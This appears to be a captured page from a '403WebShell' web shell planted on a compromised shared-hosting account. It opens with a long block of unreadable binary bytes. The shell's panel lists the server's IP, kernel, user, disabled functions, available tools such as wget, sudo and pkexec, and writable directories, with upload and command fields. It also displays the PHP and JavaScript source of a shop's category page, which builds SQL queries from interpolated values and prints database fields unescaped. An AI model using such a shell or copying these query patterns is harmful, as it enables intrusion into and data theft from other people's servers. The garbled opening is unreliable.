�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 216.10.251.64  /  Your IP : 216.73.216.105
Web Server : Apache
System : Linux server.webkartdigital.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : digit2pk ( 1003)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/digit2pk/public_html/themroomstudio.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/digit2pk/public_html/themroomstudio.com/all-category.htm
<?php include "include/db.php";



function calculateDiscountPercentage($originalPrice, $discountedPrice) {
    if ($originalPrice <= 0) {
        return 0; // Avoid division by zero or negative prices
    }
    
    $discountAmount = $originalPrice - $discountedPrice;
    $discountPercentage = ($discountAmount / $originalPrice) * 100;
    
    return ceil($discountPercentage); // Round to 2 decimal places
}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <!-- Required meta tags -->
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <title></title>
    <meta name="description"
        content="SuperMart eCommerce HTML Template specially designed for multipurpose shops like the mega store, grocery stores, supermarkets, organic shops, and online stores" />
    <link rel="shortcut icon" href="assets/images/favicon.png" type="image/f-icon" />

    <!-- font awesome -->
    <link rel="stylesheet" href="assets/css/all.min.css" />
    <!-- bootstraph -->
    <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
    <!-- Fancy Box -->
    <link rel="stylesheet" href="assets/css/jquery.fancybox.min.css" />
    <!-- swiper js -->
    <link rel="stylesheet" href="assets/css/swiper-bundle.min.css" />
    <!-- Nice Select -->
    <link rel="stylesheet" href="assets/css/nice-select.css" />
    <!-- Countdown js -->
    <link rel="stylesheet" href="assets/css/jquery.countdown.css" />
    <!-- User's CSS Here -->
    <link rel="stylesheet" href="assets/css/style.css" />
</head>

<body>

    <?php include "include/header.php" ?>

    <!-- All Category Section Start -->
    <section class="archive-category">
        <div class="container">
            <div class="row align-items-center">
                <div class="col-12">
                    <div class="section-title mb-30">
                        <h2>All Category</h2>
                       
                    </div>
                </div>
            
            </div>
            <div class="row">
                <div class="col-12">
                    <div class="row" id="product-list">
                        <?php 
                        $csql = "SELECT * FROM `category` WHERE 1 ";
                        $crun  = mysqli_query($con, $csql);
                        while($crow = mysqli_fetch_assoc($crun)){
                    ?>
                    <div class="col-lg-3 col-6 p-0">
                        <a href="category.htm?slug=<?=$crow['slug']?>" class="category-card">
                            <div class="category-card__image">
                                <img src="admin/<?=$crow['img']?>" alt="icon" />
                            </div>
                            <div class="category-card__title">
                                <h5><?=$crow['name']?></h5>
                            </div>
                        </a>
                    </div>
                    <?php  } ?>
                    </div>
                  

                </div>
            </div>

        </div>
    </section>
    <!-- All Category Section End -->

    <?php include "include/footer.php" ?>

    <!-- JS -->
    <script src="assets/js/jquery-3.6.0.min.js"></script>
    <script src="assets/js/popper.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/jquery.fancybox.min.js"></script>
    <script src="assets/js/jquery.plugin.min.js"></script>
    <script src="assets/js/jquery.countdown.min.js"></script>
    <script src="assets/js/counterup.min.js"></script>
    <script src="assets/js/jquery.waypoints.js"></script>
    <script src="assets/js/jquery.nice-select.js"></script>
    <script src="assets/js/swiper-bundle.min.js"></script>
    <script src="assets/js/scripts.js"></script>




    <script>


  const allproducts = [

    <?php

  $fsql = "SELECT * FROM `product` WHERE 1";
  $frun = mysqli_query($con, $fsql);
  while ($frow = mysqli_fetch_assoc($frun)) {
    $pid = $frow['id'];
    $cateid = $frow['category'];
    $cate = "SELECT * FROM `category` WHERE id = '$cateid'";
    $caterun = mysqli_query($con, $cate);
    $caterow = mysqli_fetch_assoc($caterun);

    $originalPrice = $frow['price'];
    $discountedPrice = $frow['disprice'];

    $discountPercentage = calculateDiscountPercentage($originalPrice, $discountedPrice);

    ?> {
      id: "<?= $frow['id'] ?>",
      name: "<?= $frow['name'] ?>",
      slug: "<?= $frow['slug'] ?>",
      category: "<?= $caterow['name'] ?>",
      price: "<?= $frow['price'] ?>",
      disprice: "<?= $frow['disprice'] ?>",
      dispercent: "<?= $discountPercentage ?>%",
      producttype: "<?= $frow['producttype'] ?>",
      image: "admin/<?= $frow['img'] ?>",
      multiimg: [
          <?php
          $fisql = "SELECT * FROM `img` WHERE pid = '$pid'";
        $firun = mysqli_query($con, $fisql);
          while($firow = mysqli_fetch_assoc($firun)) {
          ?> "admin/<?= $firow['img'] ?>",
          <?php } ?>
        ],
    des: `<?= $frow['des'] ?>`,
      attribute: [
          <?php
          $producttype = $frow['producttype'];
          if ($producttype == 'Variable Product') {
      $attribute = json_decode($frow['attribute']);
      foreach($attribute as $value) {
        $artsql = "SELECT * FROM `attribute` WHERE id = $value";
        $artrun = mysqli_query($con, $artsql);
        $artr = mysqli_fetch_assoc($artrun);
        $attrtype = $artr['type'];
          ?> {
          id: "<?= $artr['id'] ?>",
          name: "<?= $artr['name'] ?>",
          type: '<?= $attrtype ?>',
          value: [
                  <?php

                  $attributevalue = json_decode($frow['attributevalue']);
            foreach($attributevalue as $avid) {
              $artsql = "SELECT * FROM `attributevalue` WHERE id = $avid";
              $artrun = mysqli_query($con, $artsql);
              $artr = mysqli_fetch_assoc($artrun);
              if($value  == $artr['attrid']) {
                if($attrtype == '2') {
                  ?> "<?= $artr['value'] ?>",
                      <?php
                      } else {
                      ?> "<?= $artr['value'] ?>",
                  <?php }
      }
    } ?>
                ]
  },
          <?php }
          } ?>
        ],
  combination: [
          <?php
          if ($producttype == 'Variable Product') {
    $combination1 = json_decode($frow['combination'], true);
    foreach($combination1 as $item) {

          ?> {
        "combination": [
                  <?php
                  $combinationarr = $item['combination'];
          foreach($combinationarr as $value) {
            $avsql = "SELECT * FROM `attributevalue` WHERE id  = '$value'";
            $avrun  = mysqli_query($con, $avsql);
            $avrow = mysqli_fetch_assoc($avrun);
                  ?> "<?= $avrow['value'] ?>",
                  <?php  } ?>
                ],
      "price": "<?= $item['price'] ?>"
    },

          <?php }
          } ?>

        ],
      },
    <?php } ?>
  ];


  function calculateDiscountPercentage(originalPrice, discountedPrice) {
    if (originalPrice <= 0) {
      return 0;
    }

    let discountAmount = originalPrice - discountedPrice;
    let discountPercentage = (discountAmount / originalPrice) * 100;

    return Math.ceil(discountPercentage);
  }


  function displayProductModal(productId) {
    const product = allproducts.find(p => p.id == productId);

    if (!product) {
      console.log("Product not found.");
      return;
    }

    // Generating HTML for multi-image gallery
    const multiImgSlides = product.multiimg
      .map(
        img => `
        <div class="swiper-slide">
          <div class="gallery-item">
            <img src="${img}" alt="${product.name} image" />
          </div>
        </div>`
      )
      .join("");

    const attributevaluearr = product.attribute;



    let productAttributes = '';



    const attiids = [];
    // Loop through each attribute in the array
    attributevaluearr.forEach(attribute => {

      attiids.push(attribute.id);
      // console.log(attiids);
      if (attribute.type === "2") {
        // Generate HTML for colors
        productAttributes += `
        <div class="product-detail__attr"> 
            <div class="product__attr">
                <span class="product-detail--stroke">Filter By ${attribute.name}</span>
                <ul class="product__attr--color">
                    ${attribute.value.map((color, index) => `
                    <li>
                        <input type="radio" onchange="chanagePrice(${product.id})"  name="attr${attribute.id}" id="${attribute.name.toLowerCase()}${index}" value="${color}" />
                        <label  for="${attribute.name.toLowerCase()}${index}" style="background-color:${color};" data-bg="${color}"></label>
                    </li>`).join('')}
                </ul>
            </div>
            <p class="text-danger mt-2" id="attrerror${attribute.id}" style="display:none;">Select One</p>
        </div>`;
      } else if (attribute.type === "1") {
        // Generate HTML for sizes
        productAttributes += `
        <div class="product-detail__attr">
            <div class="product__attr">
                <span class="product-detail--stroke">${attribute.name}</span>
                <ul class="product__attr--size">
                    ${attribute.value.map(size => `
                    <li>
                        <input type="radio" onchange="chanagePrice(${product.id})" name="attr${attribute.id}" id="${attribute.name.toLowerCase()}${size}" value="${size}" />
                        <label  for="${attribute.name.toLowerCase()}${size}">${size}</label>
                    </li>`).join('')}
                </ul>
            </div>
            <p class="text-danger mt-2" id="attrerror${attribute.id}" style="display:none;">Select One</p>
        </div>`;
      }
    });

    let acqty = 0; 
    let cartdiv = "";
    if (product.producttype == "Simple Product") {
      acqty = getProductQty(product.id);
      cartdiv = `  <div class="product-detail__action">
                      <a onclick="addToCart(${product.id})" class="btn btn-primary btn-outline w-100">Add to Cart</a>
                    </div>`;
    }
    else {
      cartdiv = `  <div class="product-detail__action">
                      <a onclick="addCombinarionpro(${product.id})" class="btn btn-primary btn-outline w-100">Add to Cart</a>
                    </div>`;
    }


    const modalHTML = `
    <div class="modal fade product__modal show" id="prod__preview1" aria-hidden="true" tabindex="-1">
      <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
          <div class="modal-header">
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <div class="container">
              <div class="row product-detail align-items-center">
                <div class="col-md-6 col-sm-8 m-auto">
                  <div class="product-gallery product-gallery__v2">
                    <div class="product-gallery__main swiper productPreviewSwiper">
                      <div class="swiper-wrapper">
                            <div class="swiper-slide">
                            <div class="gallery-item">
                                <img src="${product.image}" alt="${product.image}"  />
                            </div>
                            </div>
                        ${multiImgSlides}
                      </div>
                    </div>
                    <div class="product-gallery__thumb swiper productPreviewSwiperThumb">
                      <div class="swiper-wrapper">
                         <div class="swiper-slide">
                            <div class="gallery-item">
                                <img src="${product.image}" alt="${product.image}"  />
                            </div>
                            </div>
                        ${multiImgSlides}
                      </div>
                    </div>
                  </div>
                </div>
                <div class="col-md-6">
                  <div class="product-detail__wrapper product-detail__wrapper-v2">
                    <h2 class="product-detail__title">${product.name}</h2>
                    <div class="product-detail__meta">
                      <div class="rating">
                        <ul>
                          <li><i class="fa-solid fa-star"></i></li>
                          <li><i class="fa-solid fa-star"></i></li>
                          <li><i class="fa-solid fa-star"></i></li>
                          <li><i class="fa-regular fa-star"></i></li>
                          <li><i class="fa-regular fa-star"></i></li>
                        </ul>
                        <div class="total__rating">
                          <a href="#">(3,822 ratings)</a>
                        </div>
                      </div>
                      <ul class="right-meta">
                        <li>
                          <div class="stock__item">In-stock</div>
                        </li>
                      </ul>
                    </div>
                    <div class="product-price-container">
                        <h3 class="product-detail__price" id="prewid${product.id}">₹${product.disprice}</h3> <h3 class=""><del>MRP ${product.price}</del></h3> <h3 class="text-danger " id="prewpercents${product.id}">(${calculateDiscountPercentage(product.price, product.disprice)}% OFF)</h3>
                    </div>
                    
                    <div class="product-detail__short_desc">${product.des}</div>
                    ${productAttributes}
                    
                    <div class="product-detail__qty">
                      <span class="product-detail--stroke">Quantity</span>
                      <div class="quantity quantity--outline">
                        <button type="button"  class="decressQnt">
                          <span class="bar"></span>
                        </button>
                        <input class="qnttinput" id="privewqty${product.id}" onchange="updateqty(${product.id}, this.value)" type="number" disabled value="${acqty}" min="01" max="100" />
                        <button type="button" class="incressQnt">
                          <span class="bar"></span>
                        </button>
                      </div>
                    </div>
                  ${cartdiv}
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>`;

    document.getElementById("product-modal-container").innerHTML = modalHTML;

    const modalElement = document.getElementById("prod__preview1");
    const bootstrapModal = new bootstrap.Modal(modalElement);
    bootstrapModal.show();

    if ($(".productPreviewSwiper").length > 0) {
      var productPreviewSwiper = new Swiper(".productPreviewSwiper", {
        spaceBetween: 10,
        loop: true,
        loopedSlides: 4,
      });
      var productPreviewSwiperThumb = new Swiper(".productPreviewSwiperThumb", {
        spaceBetween: 10,
        slidesPerView: 4,
        grabCursor: true,
        touchRatio: 0.7,
        slideToClickedSlide: true,
        loop: true,
        loopedSlides: 4,
        direction: "horizontal",
        // centeredSlides: true,
        breakpoints: {
          479: {
            centeredSlides: false,
            slidesPerView: 4,
          },
          767: {
            direction: "horizontal",
            slidesPerView: 3,
          },
          1200: {
            centeredSlides: false,
            slidesPerView: 4,
            spaceBetween: 12,
          },
          1440: {
            direction: "horizontal",
            spaceBetween: 12,
          },
        },
      });
      productPreviewSwiper.controller.control = productPreviewSwiperThumb;
      productPreviewSwiperThumb.controller.control = productPreviewSwiper;


      


      

    }

  }
</script>



<script>
  function addToCart(productId, productCombination = null) {
    let cart = JSON.parse(localStorage.getItem("cart")) || [];
    const product = allproducts.find(p => p.id == productId);

    productType = product.producttype;
    quantity = 1;

    if (productType == "Simple Product") {
      // Handle simple product
      let product = cart.find(item => item.id === productId && !item.combination);

      if (product) {
        product.quantity += quantity; // Update quantity if product already in cart
        
      } else {
        if(document.getElementById('privewqty' +  productId)){
          let newqty = document.getElementById('privewqty' +  productId).value;
          if(newqty > 0){
            quantity = parseInt(newqty)
          }
        }
      
        // console.log(quantity);

        cart.push({
          id: productId,
          quantity: quantity
        });
        
      }
    } else if (productType == "Variable Product") {
      // Handle variable product with combinations
      let product = cart.find(item =>
        item.id === productId &&
        JSON.stringify(item.combination) === JSON.stringify(productCombination)
      );

      if (product) {
        product.quantity += quantity;
        let newqty =  product.quantity;

        document.getElementById('privewqty' + productId).value = newqty;
         // Update quantity if the same product combination already exists
      } else {
        cart.push({
          id: productId,
          combination: productCombination, // Add combination details (like size, color)
          quantity: quantity
        });
        
       
        document.getElementById('privewqty' + productId).value = 1;
        
      }
    }

    localStorage.setItem("cart", JSON.stringify(cart));
    checkcart()
    updateCartDisplay();

    CustomPopup2023.show();
  }



  function addCombinarionpro(pid) {
    const product = allproducts.find(p => p.id == pid);

    attribute = product.attribute;



    let combination = [];

    let checkcombination = 0;

    attribute.forEach((item) => {
      const radios = document.getElementsByName('attr' + item.id);

      let selectedValue = null;


      for (const radio of radios) {
        if (radio.checked) {
          selectedValue = radio.value;

          break;
        }
      };

      if (selectedValue) {
        combination.push(selectedValue);
        document.getElementById('attrerror' + item.id).style.display = 'none';
      } else {

        checkcombination++;

        if (document.getElementById('attrerror' + item.id)) {
          document.getElementById('attrerror' + item.id).style.display = 'block';
        }

      }

    });


    if (checkcombination == 0) {

      let comb = product.combination;
      let allcombination = comb;
      let compare = false;
      allcombination.forEach(item => {

        // console.log(item);
        if (JSON.stringify(item.combination) == JSON.stringify(combination)) {
          compare = true;
        }


      });


      if (compare) {
        addToCart(pid, combination);
      }
    }

  }

  function getProductQty(pid) {
    const product = allproducts.find(p => p.id == pid);
    let producttype = product.producttype;

    if (producttype == 'Variable Product') {

      let checkcombination = 0;

      combination = [];


      attribute.forEach((item) => {
        const radios = document.getElementsByName('attr' + item.id);

        let selectedValue = null;


        for (const radio of radios) {
          if (radio.checked) {
            selectedValue = radio.value;
            break;
          }
        };

        if (selectedValue) {
            combination.push(selectedValue);
            document.getElementById('attrerror' + item.id).style.display = 'none';
        } else {

          checkcombination++;

          // if(document.getElementById('attrerror'+item.id)){
          //   document.getElementById('attrerror'+item.id).style.display = 'block';
          // }

        }


      });



      
        if (checkcombination == 0) {  

        let cart = JSON.parse(localStorage.getItem("cart")) || [];
        let cartproduct = cart.find(item =>
            item.id === pid &&
            JSON.stringify(item.combination) === JSON.stringify(combination)
          );         


          // console.log(combination);
          // console.log(cartproduct);
          // console.log(cartproduct.quantity);

          if(cartproduct){
            return  cartproduct.quantity;
          }else{
            return 0;
          }
        }


    } else {
      let cart = JSON.parse(localStorage.getItem("cart")) || [];
      const cartproduct =  cart.find(p => p.id == pid); 
      if(cartproduct){
        return  cartproduct.quantity;
      }else{
        return 0;
      }
      

    }
  



  }

  function chanagePrice(pid) {
    const product = allproducts.find(p => p.id == pid);
    attribute = product.attribute;

    let checkcombination = 0;

    combination = [];


    attribute.forEach((item) => {
      const radios = document.getElementsByName('attr' + item.id);

      let selectedValue = null;

      for (const radio of radios) {
        if (radio.checked) {
          selectedValue = radio.value;
          break;
        }
      };

      if (selectedValue) {
        combination.push(selectedValue);
        document.getElementById('attrerror' + item.id).style.display = 'none';
      } else {

        checkcombination++;

        // if(document.getElementById('attrerror'+item.id)){
        //   document.getElementById('attrerror'+item.id).style.display = 'block';
        // }

      }

    });


    if (checkcombination == 0) {

      let comb = product.combination;
      let allcombination = comb;
      let compare = false;
      allcombination.forEach(item => {


        if (JSON.stringify(item.combination) == JSON.stringify(combination)) {
          document.getElementById('prewid' + pid).innerText = "₹" + item.price;
          document.getElementById('prewpercents' + pid).innerText = "(" + calculateDiscountPercentage(product.price, item.price) + "% OFF)";
          // console.log(combination);
          document.getElementById('privewqty' + pid).value = getProductQty(pid);
        }
      });
    }
  }


  function checkCombination(pid){

    const product = allproducts.find(p => p.id == pid);
    attribute = product.attribute;
  
    let checkcombination = 0;

    combination = [];


    attribute.forEach((item) => {
      const radios = document.getElementsByName('attr' + item.id);

      let selectedValue = null;

      for (const radio of radios) {
        if (radio.checked) {
          selectedValue = radio.value;
          break;
        }
      };

      if (selectedValue) {
        combination.push(selectedValue);
        document.getElementById('attrerror' + item.id).style.display = 'none';
      } else {

        checkcombination++;

        // if(document.getElementById('attrerror'+item.id)){
        //   document.getElementById('attrerror'+item.id).style.display = 'block';
        // }

      }

    });

    if(checkcombination  == 0){
      return combination;
    }else{
      return 0;
    }

  }


  function updateqty(productId,qty) {
    let cart = JSON.parse(localStorage.getItem("cart")) || [];
    const product = allproducts.find(p => p.id == productId);

    // console.log(qty);

    productType = product.producttype;

    if (productType == "Simple Product") {
      // Handle simple product
      let product = cart.find(item => item.id === productId && !item.combination);

      if (product) {
    
        product.quantity = parseInt(qty); // Update quantity if product already in cart

      }
    } else if (productType == "Variable Product") {
  
      let combination  = checkCombination(productId);

      if(combination == 0){
        
      }else{
         // Handle variable product with combinations
        let product = cart.find(item =>
          item.id === productId &&
          JSON.stringify(item.combination) === JSON.stringify(combination)
        );
        if (product) {
          product.quantity = parseInt(qty);
        } 
      }

     
    }

    localStorage.setItem("cart", JSON.stringify(cart));
    // updateCartDisplay();
  }



  function checkcart() {

    let cart = JSON.parse(localStorage.getItem("cart")) || [];
    
    cart.forEach((item) => {
      const product = allproducts.find(p => p.id == item.id);
      let producttype =  product.producttype;


      if (producttype == "Simple Product") {
        if(document.getElementById('homecart'+item.id)){
          document.getElementById('homecart'+item.id).style.display="inline-flex";
          document.getElementById('homecartqty'+item.id).value= item.quantity;
        }
        
      }

    })



  }

  checkcart();




  function  updateCartDisplay() {

    let cartContainer =  document.getElementById('cart__items');
    cartContainer.innerHTML = '';
    let inventory = JSON.parse(localStorage.getItem("cart")) || [];

    document.getElementById('cart-count').innerText=inventory.length ;
    let productscart = ``;
    let cartprice = 0;
    inventory.forEach(item => {
        const product = allproducts.find(prod => prod.id == item.id);
        console.log(product);
        producttype  = product.producttype;

        if(producttype  == "Simple Product"){

          cartprice += cartprice +  item.quantity * product.disprice;
        productscart += `<div class="shopping-card">
                            <a href="#" class="shopping-card__image">
                                <img src="${product.image}" alt="cart-product" />
                            </a>
                            <div class="shopping-card__content">
                                <div class="shopping-card__content-top">
                                    <h5 class="product__title">
                                        <a href="#">${product.name}</a>
                                    </h5>
                                    <h5 class="product__price">₹${product.disprice}</h5>
                                </div>
                                <div class="shopping-card__content-bottom">
                                    <div class="quantity__wrapper">
                                        <div class="quantity">
                                            <button type="button" onclick="decriseqty(${item.id})" class="decressQnt">
                                                <span class="bar"></span>
                                            </button>
                                            <input class="qnttinput"  type="number" disabled onchange="updateqty(${item.id},this.value)"  value="${item.quantity}" min="01" max="100" />
                                            <button type="button" class="incressQnt">
                                                <span class="bar"></span>
                                            </button>
                                        </div>
                                        <div class="stock__item">In Stock</div>
                                    </div>
                                    <button type="button" onclick="deletecart(${item.id},this)" class="action__btn">
                                        <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                            <path
                                                d="M1.25 3.5H2.75M2.75 3.5H14.75M2.75 3.5V14C2.75 14.3978 2.90804 14.7794 3.18934 15.0607C3.47064 15.342 3.85218 15.5 4.25 15.5H11.75C12.1478 15.5 12.5294 15.342 12.8107 15.0607C13.092 14.7794 13.25 14.3978 13.25 14V3.5H2.75ZM5 3.5V2C5 1.60218 5.15804 1.22064 5.43934 0.93934C5.72064 0.658035 6.10218 0.5 6.5 0.5H9.5C9.89782 0.5 10.2794 0.658035 10.5607 0.93934C10.842 1.22064 11 1.60218 11 2V3.5M6.5 7.25V11.75M9.5 7.25V11.75"
                                                stroke="#667085"
                                                stroke-linecap="round"
                                                stroke-linejoin="round"
                                            />
                                        </svg>
                                        <span>Delete</span>
                                    </button>
                                </div>
                            </div>
                        </div>`;

        }else{

          
          
          let comb = product.combination;
    
          let comprice = 0;
          console.log(comb);
          comb.forEach(citem => {


          if (JSON.stringify(citem.combination) == JSON.stringify(item.combination)) {
               comprice  = citem.price;
            }
          });
          
          cartprice += item.quantity * comprice;


          productscart += `<div class="shopping-card">
                            <a href="#" class="shopping-card__image">
                                <img src="${product.image}" alt="cart-product" />
                            </a>
                            <div class="shopping-card__content">
                                <div class="shopping-card__content-top">
                                    <h5 class="product__title">
                                        <a href="#">${product.name} (${item.combination})</a>
                                    </h5>
                                    <h5 class="product__price">₹${comprice}</h5>

                                </div>
                                <div class="shopping-card__content-bottom">
                                    <div class="quantity__wrapper">
                                        <div class="quantity">
                                            <button type="button" class="decressQnt">
                                                <span class="bar"></span>
                                            </button>
                                        
                                            <input class="qnttinput"  type="number" onchange="updatehameqty(${item.id},this)" disabled value="${item.quantity}" data-id='${JSON.stringify(item.combination)}' min="01" max="100" />
                                            <button type="button" class="incressQnt">
                                                <span class="bar"></span>
                                            </button>
                                        </div>
                                        <div class="stock__item">In Stock</div>
                                    </div>
                                    <button type="button" onclick="deletecart(${item.id},this)" data-id='${JSON.stringify(item.combination)}'  class="action__btn">
                                        <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                            <path
                                                d="M1.25 3.5H2.75M2.75 3.5H14.75M2.75 3.5V14C2.75 14.3978 2.90804 14.7794 3.18934 15.0607C3.47064 15.342 3.85218 15.5 4.25 15.5H11.75C12.1478 15.5 12.5294 15.342 12.8107 15.0607C13.092 14.7794 13.25 14.3978 13.25 14V3.5H2.75ZM5 3.5V2C5 1.60218 5.15804 1.22064 5.43934 0.93934C5.72064 0.658035 6.10218 0.5 6.5 0.5H9.5C9.89782 0.5 10.2794 0.658035 10.5607 0.93934C10.842 1.22064 11 1.60218 11 2V3.5M6.5 7.25V11.75M9.5 7.25V11.75"
                                                stroke="#667085"
                                                stroke-linecap="round"
                                                stroke-linejoin="round"
                                            />
                                        </svg>
                                        <span>Delete</span>
                                    </button>
                                </div>
                            </div>
                        </div>`;
        }

    cartContainer.innerHTML= productscart;
        document.getElementById('totalCartPrice').innerText = '₹'+cartprice ;
  });
    

  }


  function updatehameqty(productId,qty) {
    let cart = JSON.parse(localStorage.getItem("cart")) || [];
    const product = allproducts.find(p => p.id == productId);

    // console.log(qty);

    productType = product.producttype;

    if (productType == "Simple Product") {
      // Handle simple product
      let product = cart.find(item => item.id === productId && !item.combination);

      if (product) {
    
        product.quantity = parseInt(qty); // Update quantity if product already in cart

      }
    } else if (productType == "Variable Product") {
  
      

      let newqty = qty.value;
     
      let combination = qty.getAttribute("data-id");

      console.log(combination);
         // Handle variable product with combinations
        let product = cart.find(item =>
          item.id === productId &&
          JSON.stringify(item.combination) === combination
        );
        if (product) {
          product.quantity = parseInt(newqty);
        } 
      

     
    }

    localStorage.setItem("cart", JSON.stringify(cart));
    counttotal();
  }


  function deletecart(productId,prod) {
    let cart = JSON.parse(localStorage.getItem("cart")) || [];
    const product = allproducts.find(p => p.id == productId);


    console.log(product);

    let productType = product.producttype;

    if (productType == "Simple Product") {

      // Handle simple product
        cart = cart.filter(item => {
      // If we have already found and removed an item with the given ID, keep the rest
        if (item.id == productId) {
           // Mark the item as found and remove this one
           document.getElementById('homecart'+item.id).style.display="none";
          return false;
        }
        return true; // Keep all other items
      });

      
    } else if (productType == "Variable Product") {
  
      let combination = prod.getAttribute("data-id");
      
      cart = cart.filter(item => {
      // If we have already found and removed an item with the given ID, keep the rest
        if (item.id == productId && JSON.stringify(item.combination) === combination) {
          // Mark the item as found and remove this one
          return false;
        }
        return true; // Keep all other items
      });

    }

    localStorage.setItem("cart", JSON.stringify(cart));
   
    $(prod).closest('.shopping-card').remove();

    updateCartDisplay();
    
  }



  function  counttotal() {

let inventory = JSON.parse(localStorage.getItem("cart")) || [];

document.getElementById('cart-count').innerText=inventory.length ;
let productscart = ``;
let cartprice = 0;
inventory.forEach(item => {
